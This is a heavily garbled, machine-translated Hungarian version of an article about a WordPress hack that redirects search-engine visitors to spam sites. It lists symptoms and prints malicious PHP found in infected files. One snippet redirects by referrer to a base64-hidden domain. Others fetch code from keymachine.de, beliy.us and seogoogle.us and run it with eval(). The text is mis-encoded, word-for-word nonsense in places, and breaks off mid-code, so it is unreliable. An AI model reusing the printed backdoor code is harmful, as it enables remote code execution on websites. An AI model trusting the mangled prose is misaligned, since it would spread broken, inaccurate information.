WordPress Csapkod: Visszaszerez �s Er�s�t Google �s Kutat�s Motor vagy Nem S�ti Forgalom Ut�nak�ld�tt -hoz -a-Needs.info, AnyResults.Net, Arany--Info.net �s M�s T�rv�nytelen Telek

Jegyz�k amit nem minden t�netek m�jus t�rt�nik egy�tt. Ott m�jus lenni t�bb mint egy m�dszer -b�l csapkod l�tez�s, melyik fizet -hoz k�l�nb�z� megtal�l�s �s lehets�ges hat�rozat.

• Ak�rmi kettyen�s �tmen� -b�l kutat�s hajt�m� mint Google, Jehu, AOL, MSN, Windows �l kutat�s eredm�nyek, bele�rtve blog n�v, lesz ut�nak�ld�tt �s el�mozd�tott -hoz b�rdok’ telek mint -a-needs.info, anyresults.net, arany--info.net, keymachine.de, beliy.us, seogoogle.us, -val a oldalra d�l persze -hoz n�. N�z� meg�rkezik -n�l cs�k�nyos oldal -val ugyanaz kutat�s h�r amit � vagy amit haszn�lt r� kutat�s -ban kutat�s motor.
• Kettyen�s -ra egy l�ncszem -hoz blog -ra RSS t�pl�l olvas� mint Google olvas� lehet ut�nak�ld�tt -hoz cs�k�nyos telek t�l.
• EGY l�togat� -val nem sz�mla -on blog, vagy nem logika ( ezent�l nem birtokol s�ti kinyomoz mellett kaj�n k�d), lesz ut�nak�ld�tt -hoz l�ncsh�s telek.
• Egyetlen l�togat -b�l kutat�s motor van ut�nak�ld�tt el, �s a fog�s kezel -hoz bolond ember k�r�l tal�n sok bloggers, webmasters �s telek tulajdonosok, vagy legal�bb k�sleltet�s a nyomoz�s -b�l probl�ma.
• Hirtelen hatalmas �s dr�mai csepp �s elvesz�t -b�l s�lyos �sszeg -b�l l�togat� forgalom �s oldal kil�t�s -ban p�kh�l� nyomoz� szem�ly statisztika, k�l�n�sen forgalom -val Google mint utalt, m�g akkor is ha kutat�s motor eredm�nyek rang van �rintetlen.
• Hegyt�mb csepp -b�l hirdet�s �llami j�vedelem -b�l Google AdSense vagy m�s c�mek h�l�zat, vagy egyes�t megb�z�s.
• A k�vetkez� alap k�dolt PHP k�d m�jus felt�nik -on wp-blog-header.php reszel�:

  <?php \
$serefarraygoogle,msn,live,altavista,ask,yahoo,aol,cnn,weather,alexa=("""""""""""""""""""");
$ser0=; foreachseref($ mint $ref) ifstrposstrtolower_SERVER’HTTP_REFERER’,ref((($[])$)!==hamis){ $ser1=”?;alkalom; }
ha && sizeof_COOKIE0($)==){ headerLocation(”: http:/”.base64_decodeYW55cmVzdWx0cy5uZXQ.(”=”)”/”);kij�rat; }? >

• Egy k�p, melyik van val�j�ban egy csom� -b�l kaj�n PHP k�d, volt hozz�adott -hoz wp- tartalom/ felt�lt c�mt�r. P�ld�ul, wp- tartalom/ felt�lt/2008/06/06/abcdefghijklmn.jpg, vagy ez m�jus lenni bels� r�sz -a t�ma dosszi�, i.e. wp-contents/themes/classic/images/xyz.jpg. A n�v -b�l k�p m�jus lenni -ban form�tum -b�l xxxxxx_old.jpeg.
• Egy bel�p�s volt behelyezett -ban MySQL adatb�zis r�sz�re WordPress wp_options -hoz hat�konny� tesz a k�p ( a kaj�n PHP k�d) mint egy dug�, jellemz�en mint rss_f541b3abd05e7962fcab37737f40fad8.
• Ott m�jus lenni is kaj�n k�d, k�l�n�sen azok amit �rtelmezett -val megbecs�l() vagy base64_decode() k�vetel behelyezett -ba m�s WordPress PHP f�jlokat. P�lda van a k�vetkez� k�d:

  ifisset_GET'p'(($[])) {
$zokni = @fsockopenkm20725.keymachine.de(’’, 80);
ifsock($){
fwrite ($ zokni, ‘ kap http:/km20725.keymachine.de/ szolg�l/index.php?/host._SERVER'SERVER_NAME'.p._GET'p'.=’$[]’&=’$[]’ HTTP/1.0.rn′”\\”);
fwrite ($ zokni, ‘ h�zigazda: km20725.keymachine.de.rnrn’”\\\\”);
whilecontent($[] = fgets ($ zokni));
$el�gedett = k�ny�r�g(”, $ el�gedett);
@evaltrimsubstrcontent((($, strposcontent($, “\rnrn\\\”))));
fclose ($ zokni);}
}

  ifisset_GET'p'(($[])) { @eval@file_get_contentshttp((’:/beliy.us/ szolg�l/index.php?/host._SERVER'SERVER_NAME'.p._GET'p'=’$[]’&=’$[]));
}

  ifisset_GET'p'(($[])) { @eval@file_get_contentshttp((’:/seogoogle.us/ szolg�l/index.php?/host._SERVER'SERVER_NAME'.p._GET'p'=’$[]’&=’$[]));
}

  evalgzinflatebase64_decode(((

• WordPress t�ma ez minden aktiv�lt �s haszn�lt lehet befecskendezett -val szaggat� k�h�g�s k�d �s mesterk�lt t�l. Ilyen k�d szab�lyosan l�tezik -ban header.php vagy index.php -b�l t�ma, �s birtokol egy vonal hasonl� -hoz alul

  ifser”1″($== && sizeof_COOKIE0($)==){ header”Location(: